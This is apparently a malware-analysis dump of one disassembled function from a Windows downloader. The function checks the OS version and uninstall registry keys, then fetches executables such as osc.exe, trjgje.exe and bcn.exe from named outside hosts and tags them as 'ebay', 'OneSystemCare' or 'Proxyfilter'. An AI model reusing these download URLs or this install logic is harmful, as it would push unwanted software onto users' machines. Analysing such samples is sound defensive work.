Function at 0x409360
Capabilities:
Check os version
Contain obfuscated stackstrings

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4347af
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x188
mov eax, dword [0x44d080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x198], edi
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x38], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
movq qword [ebp - 0x50], xmm0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
movq qword [ebp - 0x44], xmm0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
push pe_nt_image_headers32
lea eax, [ebp - 0x164]
mov byte [ebp - 4], 4
push 0
push eax
call fcn.0041bd40
add esp, 0xc
mov dword [ebp - 0x168], 0x114
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x409dd4
cmp dword [ebp - 0x164], 5
je 0x409dd4
mov edx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0x20]
call fcn.0040ccd0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
call fcn.0040ccd0
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x180]
add esp, 4
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
push 0x16
push 0x446594
call fcn.0040b840
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x409531
movups xmm0, xmmword [ebp - 0x180]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x170]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x180], ax
jmp 0x409547
lea ecx, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x16c]
mov byte [ebp - 4], 4
cmp edx, 8
jb 0x409585
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40957b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ab6e
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x16
xor eax, eax
mov dword [ebp - 0x170], 0
push str.SoftwareOptimizer_Pro
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x4095f2
movups xmm0, xmmword [ebp - 0x180]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x170]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x180], ax
jmp 0x409608
lea ecx, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x16c]
mov byte [ebp - 4], 4
cmp edx, 8
jb 0x409646
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40963c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ab73
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0xf
xor eax, eax
mov dword [ebp - 0x170], 0
push str.SoftwareFix_It
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x4096b3
movups xmm0, xmmword [ebp - 0x180]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x170]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x180], ax
jmp 0x4096c9
lea ecx, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x16c]
mov byte [ebp - 4], 4
cmp edx, 8
jb 0x409707
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4096fd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ab78
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0xf
xor eax, eax
mov dword [ebp - 0x170], 0
push str.SoftwareZen_PC
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x409774
movups xmm0, xmmword [ebp - 0x180]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x170]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x180], ax
jmp 0x40978a
lea ecx, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x16c]
mov byte [ebp - 4], 4
cmp edx, 8
jb 0x4097c8
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4097be
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ab7d
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x51
xor eax, eax
mov dword [ebp - 0x170], 0
push str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstallOneSystemCare_is1
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x24], eax
je 0x409835
movups xmm0, xmmword [ebp - 0x180]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x170]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x28], 0x18
mov word [ebp - 0x180], ax
jmp 0x40984b
lea ecx, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040ca30
mov edx, dword [ebp - 0x16c]
mov byte [ebp - 4], 4
cmp edx, 8
jb 0x409889
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40987f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ab82
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x45
xor eax, eax
mov dword [ebp - 0x170], 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallOneSystemCare_is1
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x24], eax
je 0x4098f6
movups xmm0, xmmword [ebp - 0x180]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x170]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x28], 0x18
mov word [ebp - 0x180], ax
jmp 0x40990c
lea ecx, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040ca30
mov edx, dword [ebp - 0x16c]
mov byte [ebp - 4], 4
cmp edx, 8
jb 0x40994a
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409940
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ab87
push edx
push ecx
call fcn.00419f4a
add esp, 8
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xe
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str._osc_count.php
mov word [ecx], ax
call fcn.0040b840
call fcn.00409190
add esp, 0x18
cmp eax, 0x8fc
jge 0x409b92
push 0x90
call fcn.00419c80
mov esi, eax
add esp, 4
mov dword [ebp - 0x194], esi
push 0x90
push 0
push esi
mov byte [ebp - 4], 0xb
call fcn.0041bd40
sub esp, 0xc
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x188], esp
push 7
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.osc.exe
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x18c], esp
xor eax, eax
push 0xa1
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__onesystemhost.info__dBTYXt8TNzUPVhQ1pvbPnxr5oD_7CoeozombcT_Wf7k3YSUb6EZGfgEkf5_X_2rh8EjNzbdm4rEVkn3HBv5XXfUgA0NJRpz9nDHX5fIMgG3IRTKccBOMd1_W126xs9dOuEGKS
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0xd
mov ecx, esp
mov dword [ebp - 0x190], esp
xor eax, eax
push 2
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x4468e4
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0xe
mov ecx, esp
xor eax, eax
push 0xd
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.OneSystemCare
mov word [ecx], ax
call fcn.0040b840
mov ecx, esi
mov byte [ebp - 4], 0xb
call fcn.00416bb0
mov esi, eax
mov byte [ebp - 4], 4
push 0xd
xor eax, eax
mov dword [ebp - 0x170], 0
push str.OneSystemCare
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [edi + 0xac]
call fcn.0040afc0
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
mov dword [eax], esi
call fcn.004014b0
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 7
push 0xd
xor eax, eax
lea ecx, [ebp - 0x180]
push str.OneSystemCare
mov word [ebp - 0x180], ax
call fcn.0040b840
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x184], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x190], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18c], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x20]
mov dword [ebp - 0x188], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [edi + 0xac]
call fcn.0040afc0
mov byte [ebp - 4], 0x10
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
call fcn.004014b0
mov edi, dword [ebp - 0x198]
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xf
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str._osck_count.php
mov word [ecx], ax
call fcn.0040b840
call fcn.00409190
add esp, 0x18
cmp eax, 0x2ee
jge 0x409dd4
push 0x90
call fcn.00419c80
mov esi, eax
add esp, 4
mov dword [ebp - 0x184], esi
push 0x90
push 0
push esi
mov byte [ebp - 4], 0x15
call fcn.0041bd40
sub esp, 0xc
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x190], esp
push 7
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.osc.exe
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x16
mov ecx, esp
mov dword [ebp - 0x18c], esp
xor eax, eax
push 0x9d
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__onesystemhost.info__dvmT_Ij_Ga6zdEYBn8zRpQwx_fxAMciSnqs5GpGBskAf0VborJaLSwzuw5jPgo79dxhwOwdeOhKismXV_8XFnCIt2jP_MtX3ynXr4XhRX_IokWSst_htPZXnzT8MEsiOm
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x17
mov ecx, esp
mov dword [ebp - 0x188], esp
xor eax, eax
push 2
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x4468e4
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x18
mov ecx, esp
xor eax, eax
push 0xe
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.OneSystemCareK
mov word [ecx], ax
call fcn.0040b840
mov ecx, esi
mov byte [ebp - 4], 0x15
call fcn.00416bb0
mov esi, eax
mov byte [ebp - 4], 4
push 0xe
xor eax, eax
mov dword [ebp - 0x170], 0
push str.OneSystemCareK
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x19
push eax
lea ecx, [edi + 0xac]
call fcn.0040afc0
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
mov dword [eax], esi
call fcn.004014b0
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 7
push 0xe
xor eax, eax
lea ecx, [ebp - 0x180]
push str.OneSystemCareK
mov word [ebp - 0x180], ax
call fcn.0040b840
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x184], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x190], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18c], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x20]
mov dword [ebp - 0x188], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [edi + 0xac]
call fcn.0040afc0
mov byte [ebp - 4], 0x1a
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
call fcn.004014b0
mov edx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0x20]
call fcn.0040ccd0
mov eax, dword [ebp - 0x20]
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x90
call fcn.00419c80
mov esi, eax
add esp, 4
mov dword [ebp - 0x184], esi
push 0x90
push 0
push esi
mov byte [ebp - 4], 0x1f
call fcn.0041bd40
sub esp, 0xc
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x190], esp
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.trjgje.exe
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x20
mov ecx, esp
mov dword [ebp - 0x18c], esp
xor eax, eax
push 0x30
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__www.applicablebeam.com_ddawdew_trjgje.exe
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x21
mov ecx, esp
mov dword [ebp - 0x188], esp
xor eax, eax
push 5
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.setup
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x22
mov ecx, esp
xor eax, eax
push 4
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.ebay
mov word [ecx], ax
call fcn.0040b840
mov ecx, esi
mov byte [ebp - 4], 0x1f
call fcn.00416bb0
mov esi, eax
mov byte [ebp - 4], 4
push 4
xor eax, eax
mov dword [ebp - 0x170], 0
push str.ebay
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
mov edi, dword [ebp - 0x198]
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x23
add edi, 0xac
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 4
mov dword [eax], esi
mov edx, dword [ebp - 0x16c]
cmp edx, 8
jb 0x409f61
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409f57
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ab8c
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x90
call fcn.00419c80
mov esi, eax
add esp, 4
mov dword [ebp - 0x184], esi
push 0x90
push 0
push esi
mov byte [ebp - 4], 0x24
call fcn.0041bd40
sub esp, 0xc
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x190], esp
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.kdjase.exe
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x25
mov ecx, esp
mov dword [ebp - 0x18c], esp
xor eax, eax
push 0x31
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__www.sectorappliance.com_qdewfww_kdjase.exe
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x26
mov ecx, esp
mov dword [ebp - 0x188], esp
xor eax, eax
push 5
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.setup
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x27
mov ecx, esp
xor eax, eax
push 6
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.ebayeu
mov word [ecx], ax
call fcn.0040b840
mov ecx, esi
mov byte [ebp - 4], 0x24
call fcn.00416bb0
mov esi, eax
mov byte [ebp - 4], 4
push 6
xor eax, eax
mov dword [ebp - 0x170], 0
push str.ebayeu
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x28
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 4
mov dword [eax], esi
mov edx, dword [ebp - 0x16c]
cmp edx, 8
jb 0x40a0cd
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a0c3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ab91
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x44
xor eax, eax
mov dword [ebp - 0x170], 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallEbayssistant_1.0
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
mov byte [ebp - 4], 0x29
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x40a13a
movups xmm0, xmmword [ebp - 0x180]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x170]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x180], ax
jmp 0x40a150
lea ecx, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x16c]
mov byte [ebp - 4], 4
cmp edx, 8
jb 0x40a18e
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a184
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ab96
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 4
xor eax, eax
mov dword [ebp - 0x170], 0
push str.ebay
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x184], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x190], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x18c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x20]
mov dword [ebp - 0x188], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x2e
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x2a
mov ecx, dword [eax]
call fcn.00417440
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x16c]
cmp edx, 8
jb 0x40a293
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a289
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ab9b
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 6
xor eax, eax
mov dword [ebp - 0x170], 0
push str.ebayeu
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x184], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x190], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x18c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x20]
mov dword [ebp - 0x188], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x33
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x2f
mov ecx, dword [eax]
call fcn.00417440
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x16c]
cmp edx, 8
jb 0x40a398
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a38e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40aba0
push edx
push ecx
call fcn.00419f4a
add esp, 8
push pe_nt_image_headers32
lea eax, [ebp - 0x164]
push 0
push eax
call fcn.0041bd40
add esp, 0xc
mov dword [ebp - 0x168], 0x114
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40a81a
cmp dword [ebp - 0x164], 5
je 0x40a81a
mov edx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0x20]
call fcn.0040ccd0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
call fcn.0040ccd0
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
call fcn.0040ccd0
mov eax, dword [ebp - 0x38]
add esp, 4
mov dword [ebp - 0x34], eax
push 0x90
call fcn.00419c80
mov esi, eax
add esp, 4
mov dword [ebp - 0x184], esi
push 0x90
push 0
push esi
mov byte [ebp - 4], 0x34
call fcn.0041bd40
sub esp, 0xc
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x190], esp
push 7
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.bcn.exe
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x35
mov ecx, esp
mov dword [ebp - 0x18c], esp
xor eax, eax
push 0x1b
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__stat_777.com_bcn.exe
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x36
mov ecx, esp
mov dword [ebp - 0x188], esp
xor eax, eax
push eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x44263c
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x37
mov ecx, esp
xor eax, eax
push 0xb
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.Proxyfilter
mov word [ecx], ax
call fcn.0040b840
mov ecx, esi
mov byte [ebp - 4], 0x34
call fcn.00416bb0
mov byte [ebp - 4], 4
mov esi, eax
mov dword [ebp - 0x170], 0
xor eax, eax
mov dword [ebp - 0x16c], 7
push 0xb
push str.Proxyfilter
lea ecx, [ebp - 0x180]
mov word [ebp - 0x180], ax
call fcn.0040b840
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x38
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 4
mov dword [eax], esi
mov edx, dword [ebp - 0x16c]
cmp edx, 8
jb 0x40a57c
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a572
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40aba5
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x48
xor eax, eax
mov dword [ebp - 0x170], 0
push str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstallgmx_1.00
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
mov byte [ebp - 4], 0x39
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x24], eax
je 0x40a5e9
movups xmm0, xmmword [ebp - 0x180]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x170]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x28], 0x18
mov word [ebp - 0x180], ax
jmp 0x40a5ff
lea ecx, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040ca30
mov edx, dword [ebp - 0x16c]
mov byte [ebp - 4], 4
cmp edx, 8
jb 0x40a63d
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a633
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40abaa
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x3c
xor eax, eax
mov dword [ebp - 0x170], 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallgmx_1.00
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
call fcn.0040b840
mov byte [ebp - 4], 0x3a
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x24], eax
je 0x40a6b9
movups xmm0, xmmword [ebp - 0x180]
mov dword [eax + 0x10], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x170]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x28], 0x18
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
jmp 0x40a6c9
lea ecx, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040ca30
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
call fcn.004014b0
push str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstall_nmx_1.00
